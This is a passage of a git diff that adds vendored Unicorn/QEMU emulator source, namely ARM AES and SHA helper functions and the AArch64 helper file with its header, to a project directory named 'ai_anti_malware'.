0x6ed3d3bd, + 0x67d4d4b3, 0x64d5d5b1, 0x61d6d6b7, 0x62d7d7b5, + 0x73d8d8ab, 0x70d9d9a9, 0x75dadaaf, 0x76dbdbad, + 0x7fdcdca3, 0x7cdddda1, 0x79dedea7, 0x7adfdfa5, + 0x3be0e0db, 0x38e1e1d9, 0x3de2e2df, 0x3ee3e3dd, + 0x37e4e4d3, 0x34e5e5d1, 0x31e6e6d7, 0x32e7e7d5, + 0x23e8e8cb, 0x20e9e9c9, 0x25eaeacf, 0x26ebebcd, + 0x2fececc3, 0x2cededc1, 0x29eeeec7, 0x2aefefc5, + 0x0bf0f0fb, 0x08f1f1f9, 0x0df2f2ff, 0x0ef3f3fd, + 0x07f4f4f3, 0x04f5f5f1, 0x01f6f6f7, 0x02f7f7f5, + 0x13f8f8eb, 0x10f9f9e9, 0x15fafaef, 0x16fbfbed, + 0x1ffcfce3, 0x1cfdfde1, 0x19fefee7, 0x1affffe5, + }, { + /* Inverse MixColumns lookup table */ + 0x00000000, 0x0b0d090e, 0x161a121c, 0x1d171b12, + 0x2c342438, 0x27392d36, 0x3a2e3624, 0x31233f2a, + 0x58684870, 0x5365417e, 0x4e725a6c, 0x457f5362, + 0x745c6c48, 0x7f516546, 0x62467e54, 0x694b775a, + 0xb0d090e0, 0xbbdd99ee, 0xa6ca82fc, 0xadc78bf2, + 0x9ce4b4d8, 0x97e9bdd6, 0x8afea6c4, 0x81f3afca, + 0xe8b8d890, 0xe3b5d19e, 0xfea2ca8c, 0xf5afc382, + 0xc48cfca8, 0xcf81f5a6, 0xd296eeb4, 0xd99be7ba, + 0x7bbb3bdb, 0x70b632d5, 0x6da129c7, 0x66ac20c9, + 0x578f1fe3, 0x5c8216ed, 0x41950dff, 0x4a9804f1, + 0x23d373ab, 0x28de7aa5, 0x35c961b7, 0x3ec468b9, + 0x0fe75793, 0x04ea5e9d, 0x19fd458f, 0x12f04c81, + 0xcb6bab3b, 0xc066a235, 0xdd71b927, 0xd67cb029, + 0xe75f8f03, 0xec52860d, 0xf1459d1f, 0xfa489411, + 0x9303e34b, 0x980eea45, 0x8519f157, 0x8e14f859, + 0xbf37c773, 0xb43ace7d, 0xa92dd56f, 0xa220dc61, + 0xf66d76ad, 0xfd607fa3, 0xe07764b1, 0xeb7a6dbf, + 0xda595295, 0xd1545b9b, 0xcc434089, 0xc74e4987, + 0xae053edd, 0xa50837d3, 0xb81f2cc1, 0xb31225cf, + 0x82311ae5, 0x893c13eb, 0x942b08f9, 0x9f2601f7, + 0x46bde64d, 0x4db0ef43, 0x50a7f451, 0x5baafd5f, + 0x6a89c275, 0x6184cb7b, 0x7c93d069, 0x779ed967, + 0x1ed5ae3d, 0x15d8a733, 0x08cfbc21, 0x03c2b52f, + 0x32e18a05, 0x39ec830b, 0x24fb9819, 0x2ff69117, + 0x8dd64d76, 0x86db4478, 0x9bcc5f6a, 0x90c15664, + 0xa1e2694e, 0xaaef6040, 0xb7f87b52, 0xbcf5725c, + 0xd5be0506, 0xdeb30c08, 0xc3a4171a, 0xc8a91e14, + 0xf98a213e, 0xf2872830, 0xef903322, 0xe49d3a2c, + 0x3d06dd96, 0x360bd498, 0x2b1ccf8a, 0x2011c684, + 0x1132f9ae, 0x1a3ff0a0, 0x0728ebb2, 0x0c25e2bc, + 0x656e95e6, 0x6e639ce8, 0x737487fa, 0x78798ef4, + 0x495ab1de, 0x4257b8d0, 0x5f40a3c2, 0x544daacc, + 0xf7daec41, 0xfcd7e54f, 0xe1c0fe5d, 0xeacdf753, + 0xdbeec879, 0xd0e3c177, 0xcdf4da65, 0xc6f9d36b, + 0xafb2a431, 0xa4bfad3f, 0xb9a8b62d, 0xb2a5bf23, + 0x83868009, 0x888b8907, 0x959c9215, 0x9e919b1b, + 0x470a7ca1, 0x4c0775af, 0x51106ebd, 0x5a1d67b3, + 0x6b3e5899, 0x60335197, 0x7d244a85, 0x7629438b, + 0x1f6234d1, 0x146f3ddf, 0x097826cd, 0x02752fc3, + 0x335610e9, 0x385b19e7, 0x254c02f5, 0x2e410bfb, + 0x8c61d79a, 0x876cde94, 0x9a7bc586, 0x9176cc88, + 0xa055f3a2, 0xab58faac, 0xb64fe1be, 0xbd42e8b0, + 0xd4099fea, 0xdf0496e4, 0xc2138df6, 0xc91e84f8, + 0xf83dbbd2, 0xf330b2dc, 0xee27a9ce, 0xe52aa0c0, + 0x3cb1477a, 0x37bc4e74, 0x2aab5566, 0x21a65c68, + 0x10856342, 0x1b886a4c, 0x069f715e, 0x0d927850, + 0x64d90f0a, 0x6fd40604, 0x72c31d16, 0x79ce1418, + 0x48ed2b32, 0x43e0223c, 0x5ef7392e, 0x55fa3020, + 0x01b79aec, 0x0aba93e2, 0x17ad88f0, 0x1ca081fe, + 0x2d83bed4, 0x268eb7da, 0x3b99acc8, 0x3094a5c6, + 0x59dfd29c, 0x52d2db92, 0x4fc5c080, 0x44c8c98e, + 0x75ebf6a4, 0x7ee6ffaa, 0x63f1e4b8, 0x68fcedb6, + 0xb1670a0c, 0xba6a0302, 0xa77d1810, 0xac70111e, + 0x9d532e34, 0x965e273a, 0x8b493c28, 0x80443526, + 0xe90f427c, 0xe2024b72, 0xff155060, 0xf418596e, + 0xc53b6644, 0xce366f4a, 0xd3217458, 0xd82c7d56, + 0x7a0ca137, 0x7101a839, 0x6c16b32b, 0x671bba25, + 0x5638850f, 0x5d358c01, 0x40229713, 0x4b2f9e1d, + 0x2264e947, 0x2969e049, 0x347efb5b, 0x3f73f255, + 0x0e50cd7f, 0x055dc471, 0x184adf63, 0x1347d66d, + 0xcadc31d7, 0xc1d138d9, 0xdcc623cb, 0xd7cb2ac5, + 0xe6e815ef, 0xede51ce1, 0xf0f207f3, 0xfbff0efd, + 0x92b479a7, 0x99b970a9, 0x84ae6bbb, 0x8fa362b5, + 0xbe805d9f, 0xb58d5491, 0xa89a4f83, 0xa397468d, + } }; + union CRYPTO_STATE st; + int i; + st.l[0] = float64_val(env->vfp.regs[rm]); + st.l[1] = float64_val(env->vfp.regs[rm + 1]); + + assert(decrypt < 2); + + for (i = 0; i < 16; i += 4) { + st.words[i >> 2] = cpu_to_le32( + mc[decrypt][st.bytes[i]] ^ + rol32(mc[decrypt][st.bytes[i + 1]], 8) ^ + rol32(mc[decrypt][st.bytes[i + 2]], 16) ^ + rol32(mc[decrypt][st.bytes[i + 3]], 24)); + } + + env->vfp.regs[rd] = make_float64(st.l[0]); + env->vfp.regs[rd + 1] = make_float64(st.l[1]); +} + +/* + * SHA-1 logical functions + */ + +static uint32_t cho(uint32_t x, uint32_t y, uint32_t z) +{ + return (x & (y ^ z)) ^ z; +} + +static uint32_t par(uint32_t x, uint32_t y, uint32_t z) +{ + return x ^ y ^ z; +} + +static uint32_t maj(uint32_t x, uint32_t y, uint32_t z) +{ + return (x & y) | ((x | y) & z); +} + +void HELPER(crypto_sha1_3reg)(CPUARMState *env, uint32_t rd, uint32_t rn, + uint32_t rm, uint32_t op) +{ + union CRYPTO_STATE d; + union CRYPTO_STATE n; + union CRYPTO_STATE m; + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + n.l[0] = float64_val(env->vfp.regs[rn]); + n.l[1] = float64_val(env->vfp.regs[rn + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + if (op == 3) { /* sha1su0 */ + d.l[0] ^= d.l[1] ^ m.l[0]; + d.l[1] ^= n.l[0] ^ m.l[1]; + } else { + int i; + + for (i = 0; i < 4; i++) { + uint32_t t; + + switch (op) { + case 0: /* sha1c */ + t = cho(d.words[1], d.words[2], d.words[3]); + break; + case 1: /* sha1p */ + t = par(d.words[1], d.words[2], d.words[3]); + break; + case 2: /* sha1m */ + t = maj(d.words[1], d.words[2], d.words[3]); + break; + default: + g_assert_not_reached(); + } + t += rol32(d.words[0], 5) + n.words[0] + m.words[i]; + + n.words[0] = d.words[3]; + d.words[3] = d.words[2]; + d.words[2] = ror32(d.words[1], 2); + d.words[1] = d.words[0]; + d.words[0] = t; + } + } + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} + +void HELPER(crypto_sha1h)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + union CRYPTO_STATE m; + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + m.words[0] = ror32(m.words[0], 2); + m.words[1] = m.words[2] = m.words[3] = 0; + + env->vfp.regs[rd] = make_float64(m.l[0]); + env->vfp.regs[rd + 1] = make_float64(m.l[1]); +} + +void HELPER(crypto_sha1su1)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + union CRYPTO_STATE d; + union CRYPTO_STATE m; + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + d.words[0] = rol32(d.words[0] ^ m.words[1], 1); + d.words[1] = rol32(d.words[1] ^ m.words[2], 1); + d.words[2] = rol32(d.words[2] ^ m.words[3], 1); + d.words[3] = rol32(d.words[3] ^ d.words[0], 1); + + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} + +/* + * The SHA-256 logical functions, according to + * http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf + */ + +static uint32_t S0(uint32_t x) +{ + return ror32(x, 2) ^ ror32(x, 13) ^ ror32(x, 22); +} + +static uint32_t S1(uint32_t x) +{ + return ror32(x, 6) ^ ror32(x, 11) ^ ror32(x, 25); +} + +static uint32_t s0(uint32_t x) +{ + return ror32(x, 7) ^ ror32(x, 18) ^ (x >> 3); +} + +static uint32_t s1(uint32_t x) +{ + return ror32(x, 17) ^ ror32(x, 19) ^ (x >> 10); +} + +void HELPER(crypto_sha256h)(CPUARMState *env, uint32_t rd, uint32_t rn, + uint32_t rm) +{ + int i; + union CRYPTO_STATE d; + union CRYPTO_STATE n; + union CRYPTO_STATE m; + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + n.l[0] = float64_val(env->vfp.regs[rn]); + n.l[1] = float64_val(env->vfp.regs[rn + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + for (i = 0; i < 4; i++) { + uint32_t t = cho(n.words[0], n.words[1], n.words[2]) + n.words[3] + + S1(n.words[0]) + m.words[i]; + + n.words[3] = n.words[2]; + n.words[2] = n.words[1]; + n.words[1] = n.words[0]; + n.words[0] = d.words[3] + t; + + t += maj(d.words[0], d.words[1], d.words[2]) + S0(d.words[0]); + + d.words[3] = d.words[2]; + d.words[2] = d.words[1]; + d.words[1] = d.words[0]; + d.words[0] = t; + } + + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} + +void HELPER(crypto_sha256h2)(CPUARMState *env, uint32_t rd, uint32_t rn, + uint32_t rm) +{ + union CRYPTO_STATE d; + union CRYPTO_STATE n; + union CRYPTO_STATE m; + int i; + + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + n.l[0] = float64_val(env->vfp.regs[rn]); + n.l[1] = float64_val(env->vfp.regs[rn + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + for (i = 0; i < 4; i++) { + uint32_t t = cho(d.words[0], d.words[1], d.words[2]) + d.words[3] + + S1(d.words[0]) + m.words[i]; + + d.words[3] = d.words[2]; + d.words[2] = d.words[1]; + d.words[1] = d.words[0]; + d.words[0] = n.words[3 - i] + t; + } + + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} + +void HELPER(crypto_sha256su0)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + union CRYPTO_STATE d; + union CRYPTO_STATE m; + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + d.words[0] += s0(d.words[1]); + d.words[1] += s0(d.words[2]); + d.words[2] += s0(d.words[3]); + d.words[3] += s0(m.words[0]); + + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} + +void HELPER(crypto_sha256su1)(CPUARMState *env, uint32_t rd, uint32_t rn, + uint32_t rm) +{ + union CRYPTO_STATE d; + union CRYPTO_STATE n; + union CRYPTO_STATE m; + d.l[0] = float64_val(env->vfp.regs[rd]); + d.l[1] = float64_val(env->vfp.regs[rd + 1]); + n.l[0] = float64_val(env->vfp.regs[rn]); + n.l[1] = float64_val(env->vfp.regs[rn + 1]); + m.l[0] = float64_val(env->vfp.regs[rm]); + m.l[1] = float64_val(env->vfp.regs[rm + 1]); + + d.words[0] += s1(m.words[2]) + n.words[1]; + d.words[1] += s1(m.words[3]) + n.words[2]; + d.words[2] += s1(d.words[0]) + n.words[3]; + d.words[3] += s1(d.words[1]) + m.words[0]; + + env->vfp.regs[rd] = make_float64(d.l[0]); + env->vfp.regs[rd + 1] = make_float64(d.l[1]); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.c new file mode 100644 index 0000000..1d976c1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.c @@ -0,0 +1,528 @@ +/* + * AArch64 specific helpers + * + * Copyright (c) 2013 Alexander Graf + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" +#include "qemu/host-utils.h" +#include "sysemu/sysemu.h" +#include "qemu/bitops.h" +#include "internals.h" +#include "qemu/crc32c.h" + +/* C2.4.7 Multiply and divide */ +/* special cases for 0 and LLONG_MIN are mandated by the standard */ +uint64_t HELPER(udiv64)(uint64_t num, uint64_t den) +{ + if (den == 0) { + return 0; + } + return num / den; +} + +int64_t HELPER(sdiv64)(int64_t num, int64_t den) +{ + if (den == 0) { + return 0; + } + if (num == LLONG_MIN && den == -1) { + return LLONG_MIN; + } + return num / den; +} + +uint64_t HELPER(clz64)(uint64_t x) +{ + return clz64(x); +} + +uint64_t HELPER(cls64)(uint64_t x) +{ + return clrsb64(x); +} + +uint32_t HELPER(cls32)(uint32_t x) +{ + return clrsb32(x); +} + +uint32_t HELPER(clz32)(uint32_t x) +{ + return clz32(x); +} + +uint64_t HELPER(rbit64)(uint64_t x) +{ + /* assign the correct byte position */ + x = bswap64(x); + + /* assign the correct nibble position */ + x = ((x & 0xf0f0f0f0f0f0f0f0ULL) >> 4) + | ((x & 0x0f0f0f0f0f0f0f0fULL) << 4); + + /* assign the correct bit position */ + x = ((x & 0x8888888888888888ULL) >> 3) + | ((x & 0x4444444444444444ULL) >> 1) + | ((x & 0x2222222222222222ULL) << 1) + | ((x & 0x1111111111111111ULL) << 3); + + return x; +} + +/* Convert a softfloat float_relation_ (as returned by + * the float*_compare functions) to the correct ARM + * NZCV flag state. + */ +static inline uint32_t float_rel_to_flags(int res) +{ + uint64_t flags; + switch (res) { + case float_relation_equal: + flags = PSTATE_Z | PSTATE_C; + break; + case float_relation_less: + flags = PSTATE_N; + break; + case float_relation_greater: + flags = PSTATE_C; + break; + case float_relation_unordered: + default: + flags = PSTATE_C | PSTATE_V; + break; + } + return flags; +} + +uint64_t HELPER(vfp_cmps_a64)(float32 x, float32 y, void *fp_status) +{ + return float_rel_to_flags(float32_compare_quiet(x, y, fp_status)); +} + +uint64_t HELPER(vfp_cmpes_a64)(float32 x, float32 y, void *fp_status) +{ + return float_rel_to_flags(float32_compare(x, y, fp_status)); +} + +uint64_t HELPER(vfp_cmpd_a64)(float64 x, float64 y, void *fp_status) +{ + return float_rel_to_flags(float64_compare_quiet(x, y, fp_status)); +} + +uint64_t HELPER(vfp_cmped_a64)(float64 x, float64 y, void *fp_status) +{ + return float_rel_to_flags(float64_compare(x, y, fp_status)); +} + +float32 HELPER(vfp_mulxs)(float32 a, float32 b, void *fpstp) +{ + float_status *fpst = fpstp; + + if ((float32_is_zero(a) && float32_is_infinity(b)) || + (float32_is_infinity(a) && float32_is_zero(b))) { + /* 2.0 with the sign bit set to sign(A) XOR sign(B) */ + return make_float32((1U << 30) | + ((float32_val(a) ^ float32_val(b)) & (1U << 31))); + } + return float32_mul(a, b, fpst); +} + +float64 HELPER(vfp_mulxd)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + + if ((float64_is_zero(a) && float64_is_infinity(b)) || + (float64_is_infinity(a) && float64_is_zero(b))) { + /* 2.0 with the sign bit set to sign(A) XOR sign(B) */ + return make_float64((1ULL << 62) | + ((float64_val(a) ^ float64_val(b)) & (1ULL << 63))); + } + return float64_mul(a, b, fpst); +} + +uint64_t HELPER(simd_tbl)(CPUARMState *env, uint64_t result, uint64_t indices, + uint32_t rn, uint32_t numregs) +{ + /* Helper function for SIMD TBL and TBX. We have to do the table + * lookup part for the 64 bits worth of indices we're passed in. + * result is the initial results vector (either zeroes for TBL + * or some guest values for TBX), rn the register number where + * the table starts, and numregs the number of registers in the table. + * We return the results of the lookups. + */ + int shift; + + for (shift = 0; shift < 64; shift += 8) { + int index = extract64(indices, shift, 8); + if (index < 16 * numregs) { + /* Convert index (a byte offset into the virtual table + * which is a series of 128-bit vectors concatenated) + * into the correct vfp.regs[] element plus a bit offset + * into that element, bearing in mind that the table + * can wrap around from V31 to V0. + */ + int elt = (rn * 2 + (index >> 3)) % 64; + int bitidx = (index & 7) * 8; + uint64_t val = extract64(env->vfp.regs[elt], bitidx, 8); + + result = deposit64(result, shift, 8, val); + } + } + return result; +} + +/* 64bit/double versions of the neon float compare functions */ +uint64_t HELPER(neon_ceq_f64)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float64_eq_quiet(a, b, fpst); +} + +uint64_t HELPER(neon_cge_f64)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float64_le(b, a, fpst); +} + +uint64_t HELPER(neon_cgt_f64)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float64_lt(b, a, fpst); +} + +/* Reciprocal step and sqrt step. Note that unlike the A32/T32 + * versions, these do a fully fused multiply-add or + * multiply-add-and-halve. + */ +#define float32_two make_float32(0x40000000) +#define float32_three make_float32(0x40400000) +#define float32_one_point_five make_float32(0x3fc00000) + +#define float64_two make_float64(0x4000000000000000ULL) +#define float64_three make_float64(0x4008000000000000ULL) +#define float64_one_point_five make_float64(0x3FF8000000000000ULL) + +float32 HELPER(recpsf_f32)(float32 a, float32 b, void *fpstp) +{ + float_status *fpst = fpstp; + + a = float32_chs(a); + if ((float32_is_infinity(a) && float32_is_zero(b)) || + (float32_is_infinity(b) && float32_is_zero(a))) { + return float32_two; + } + return float32_muladd(a, b, float32_two, 0, fpst); +} + +float64 HELPER(recpsf_f64)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + + a = float64_chs(a); + if ((float64_is_infinity(a) && float64_is_zero(b)) || + (float64_is_infinity(b) && float64_is_zero(a))) { + return float64_two; + } + return float64_muladd(a, b, float64_two, 0, fpst); +} + +float32 HELPER(rsqrtsf_f32)(float32 a, float32 b, void *fpstp) +{ + float_status *fpst = fpstp; + + a = float32_chs(a); + if ((float32_is_infinity(a) && float32_is_zero(b)) || + (float32_is_infinity(b) && float32_is_zero(a))) { + return float32_one_point_five; + } + return float32_muladd(a, b, float32_three, float_muladd_halve_result, fpst); +} + +float64 HELPER(rsqrtsf_f64)(float64 a, float64 b, void *fpstp) +{ + float_status *fpst = fpstp; + + a = float64_chs(a); + if ((float64_is_infinity(a) && float64_is_zero(b)) || + (float64_is_infinity(b) && float64_is_zero(a))) { + return float64_one_point_five; + } + return float64_muladd(a, b, float64_three, float_muladd_halve_result, fpst); +} + +/* Pairwise long add: add pairs of adjacent elements into + * double-width elements in the result (eg _s8 is an 8x8->16 op) + */ +uint64_t HELPER(neon_addlp_s8)(uint64_t a) +{ + uint64_t nsignmask = 0x0080008000800080ULL; + uint64_t wsignmask = 0x8000800080008000ULL; + uint64_t elementmask = 0x00ff00ff00ff00ffULL; + uint64_t tmp1, tmp2; + uint64_t res, signres; + + /* Extract odd elements, sign extend each to a 16 bit field */ + tmp1 = a & elementmask; + tmp1 ^= nsignmask; + tmp1 |= wsignmask; + tmp1 = (tmp1 - nsignmask) ^ wsignmask; + /* Ditto for the even elements */ + tmp2 = (a >> 8) & elementmask; + tmp2 ^= nsignmask; + tmp2 |= wsignmask; + tmp2 = (tmp2 - nsignmask) ^ wsignmask; + + /* calculate the result by summing bits 0..14, 16..22, etc, + * and then adjusting the sign bits 15, 23, etc manually. + * This ensures the addition can't overflow the 16 bit field. + */ + signres = (tmp1 ^ tmp2) & wsignmask; + res = (tmp1 & ~wsignmask) + (tmp2 & ~wsignmask); + res ^= signres; + + return res; +} + +uint64_t HELPER(neon_addlp_u8)(uint64_t a) +{ + uint64_t tmp; + + tmp = a & 0x00ff00ff00ff00ffULL; + tmp += (a >> 8) & 0x00ff00ff00ff00ffULL; + return tmp; +} + +uint64_t HELPER(neon_addlp_s16)(uint64_t a) +{ + int32_t reslo, reshi; + + reslo = (int32_t)(int16_t)a + (int32_t)(int16_t)(a >> 16); + reshi = (int32_t)(int16_t)(a >> 32) + (int32_t)(int16_t)(a >> 48); + + return (uint32_t)reslo | (((uint64_t)reshi) << 32); +} + +uint64_t HELPER(neon_addlp_u16)(uint64_t a) +{ + uint64_t tmp; + + tmp = a & 0x0000ffff0000ffffULL; + tmp += (a >> 16) & 0x0000ffff0000ffffULL; + return tmp; +} + +/* Floating-point reciprocal exponent - see FPRecpX in ARM ARM */ +float32 HELPER(frecpx_f32)(float32 a, void *fpstp) +{ + float_status *fpst = fpstp; + uint32_t val32, sbit; + int32_t exp; + + if (float32_is_any_nan(a)) { + float32 nan = a; + if (float32_is_signaling_nan(a)) { + float_raise(float_flag_invalid, fpst); + nan = float32_maybe_silence_nan(a); + } + if (fpst->default_nan_mode) { + nan = float32_default_nan; + } + return nan; + } + + val32 = float32_val(a); + sbit = 0x80000000ULL & val32; + exp = extract32(val32, 23, 8); + + if (exp == 0) { + return make_float32(sbit | (0xfe << 23)); + } else { + return make_float32(sbit | (~exp & 0xff) << 23); + } +} + +float64 HELPER(frecpx_f64)(float64 a, void *fpstp) +{ + float_status *fpst = fpstp; + uint64_t val64, sbit; + int64_t exp; + + if (float64_is_any_nan(a)) { + float64 nan = a; + if (float64_is_signaling_nan(a)) { + float_raise(float_flag_invalid, fpst); + nan = float64_maybe_silence_nan(a); + } + if (fpst->default_nan_mode) { + nan = float64_default_nan; + } + return nan; + } + + val64 = float64_val(a); + sbit = 0x8000000000000000ULL & val64; + exp = extract64(float64_val(a), 52, 11); + + if (exp == 0) { + return make_float64(sbit | (0x7feULL << 52)); + } else { + return make_float64(sbit | (~exp & 0x7ffULL) << 52); + } +} + +float32 HELPER(fcvtx_f64_to_f32)(float64 a, CPUARMState *env) +{ + /* Von Neumann rounding is implemented by using round-to-zero + * and then setting the LSB of the result if Inexact was raised. + */ + float32 r; + float_status *fpst = &env->vfp.fp_status; + float_status tstat = *fpst; + int exflags; + + set_float_rounding_mode(float_round_to_zero, &tstat); + set_float_exception_flags(0, &tstat); + r = float64_to_float32(a, &tstat); + r = float32_maybe_silence_nan(r); + exflags = get_float_exception_flags(&tstat); + if (exflags & float_flag_inexact) { + r = make_float32(float32_val(r) | 1); + } + exflags |= get_float_exception_flags(fpst); + set_float_exception_flags(exflags, fpst); + return r; +} + +/* 64-bit versions of the CRC helpers. Note that although the operation + * (and the prototypes of crc32c() and crc32() mean that only the bottom + * 32 bits of the accumulator and result are used, we pass and return + * uint64_t for convenience of the generated code. Unlike the 32-bit + * instruction set versions, val may genuinely have 64 bits of data in it. + * The upper bytes of val (above the number specified by 'bytes') must have + * been zeroed out by the caller. + */ +uint64_t HELPER(crc32_64)(uint64_t acc, uint64_t val, uint32_t bytes) +{ + uint8_t buf[8]; + + stq_le_p(buf, val); + + /* zlib crc32 converts the accumulator and output to one's complement. */ + // return crc32(acc ^ 0xffffffff, buf, bytes) ^ 0xffffffff; + return 0; // FIXME +} + +uint64_t HELPER(crc32c_64)(uint64_t acc, uint64_t val, uint32_t bytes) +{ + uint8_t buf[8]; + + stq_le_p(buf, val); + + /* Linux crc32c converts the output to one's complement. */ + return crc32c(acc, buf, bytes) ^ 0xffffffff; +} + +#if !defined(CONFIG_USER_ONLY) + +/* Handle a CPU exception. */ +void aarch64_cpu_do_interrupt(CPUState *cs) +{ + CPUARMState *env = cs->env_ptr; + ARMCPU *cpu = ARM_CPU(env->uc, cs); + unsigned int new_el = arm_excp_target_el(cs, cs->exception_index); + target_ulong addr = env->cp15.vbar_el[new_el]; + unsigned int new_mode = aarch64_pstate_mode(new_el, true); + int i; + + if (arm_current_el(env) < new_el) { + if (env->aarch64) { + addr += 0x400; + } else { + addr += 0x600; + } + } else if (pstate_read(env) & PSTATE_SP) { + addr += 0x200; + } + + arm_log_exception(cs->exception_index); + qemu_log_mask(CPU_LOG_INT, "...from EL%d\n", arm_current_el(env)); + if (qemu_loglevel_mask(CPU_LOG_INT) + && !excp_is_internal(cs->exception_index)) { + qemu_log_mask(CPU_LOG_INT, "...with ESR 0x%" PRIx32 "\n", + env->exception.syndrome); + } + + if (arm_is_psci_call(cpu, cs->exception_index)) { + arm_handle_psci_call(cpu); + qemu_log_mask(CPU_LOG_INT, "...handled as PSCI call\n"); + return; + } + + switch (cs->exception_index) { + case EXCP_PREFETCH_ABORT: + case EXCP_DATA_ABORT: + env->cp15.far_el[new_el] = env->exception.vaddress; + qemu_log_mask(CPU_LOG_INT, "...with FAR 0x%" PRIx64 "\n", + env->cp15.far_el[new_el]); + /* fall through */ + case EXCP_BKPT: + case EXCP_UDEF: + case EXCP_SWI: + case EXCP_HVC: + case EXCP_HYP_TRAP: + case EXCP_SMC: + env->cp15.esr_el[new_el] = env->exception.syndrome; + break; + case EXCP_IRQ: + case EXCP_VIRQ: + addr += 0x80; + break; + case EXCP_FIQ: + case EXCP_VFIQ: + addr += 0x100; + break; + default: + cpu_abort(cs, "Unhandled exception 0x%x\n", cs->exception_index); + } + + if (is_a64(env)) { + env->banked_spsr[aarch64_banked_spsr_index(new_el)] = pstate_read(env); + aarch64_save_sp(env, arm_current_el(env)); + env->elr_el[new_el] = env->pc; + } else { + env->banked_spsr[0] = cpsr_read(env); + if (!env->thumb) { + env->cp15.esr_el[new_el] |= 1 << 25; + } + env->elr_el[new_el] = env->regs[15]; + + for (i = 0; i < 15; i++) { + env->xregs[i] = env->regs[i]; + } + + env->condexec_bits = 0; + } + + pstate_write(env, PSTATE_DAIF | new_mode); + env->aarch64 = 1; + aarch64_restore_sp(env, new_el); + + env->pc = addr; + cs->interrupt_request |= CPU_INTERRUPT_EXITTB; +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.h new file mode 100644 index 0000000..1d3d10f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/helper-a64.h @@ -0,0 +1,48 @@ +/* + * AArch64 specific helper definitions + * + * Copyright (c) 2013 Alexander Graf + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +DEF_HELPER_FLAGS_2(udiv64, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(sdiv64, TCG_CALL_NO_RWG_SE, s64, s64, s64) +DEF_HELPER_FLAGS_1(clz64, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(cls64, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(cls32, TCG_CALL_NO_RWG_SE, i32, i32) +DEF_HELPER_FLAGS_1(clz32, TCG_CALL_NO_RWG_SE, i32, i32) +DEF_HELPER_FLAGS_1(rbit64, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_3(vfp_cmps_a64, i64, f32, f32, ptr) +DEF_HELPER_3(vfp_cmpes_a64, i64, f32, f32, ptr) +DEF_HELPER_3(vfp_cmpd_a64, i64, f64, f64, ptr) +DEF_HELPER_3(vfp_cmped_a64, i64, f64, f64, ptr) +DEF_HELPER_FLAGS_5(simd_tbl, TCG_CALL_NO_RWG_SE, i64, env, i64, i64, i32, i32) +DEF_HELPER_FLAGS_3(vfp_mulxs, TCG_CALL_NO_RWG, f32, f32, f32, ptr) 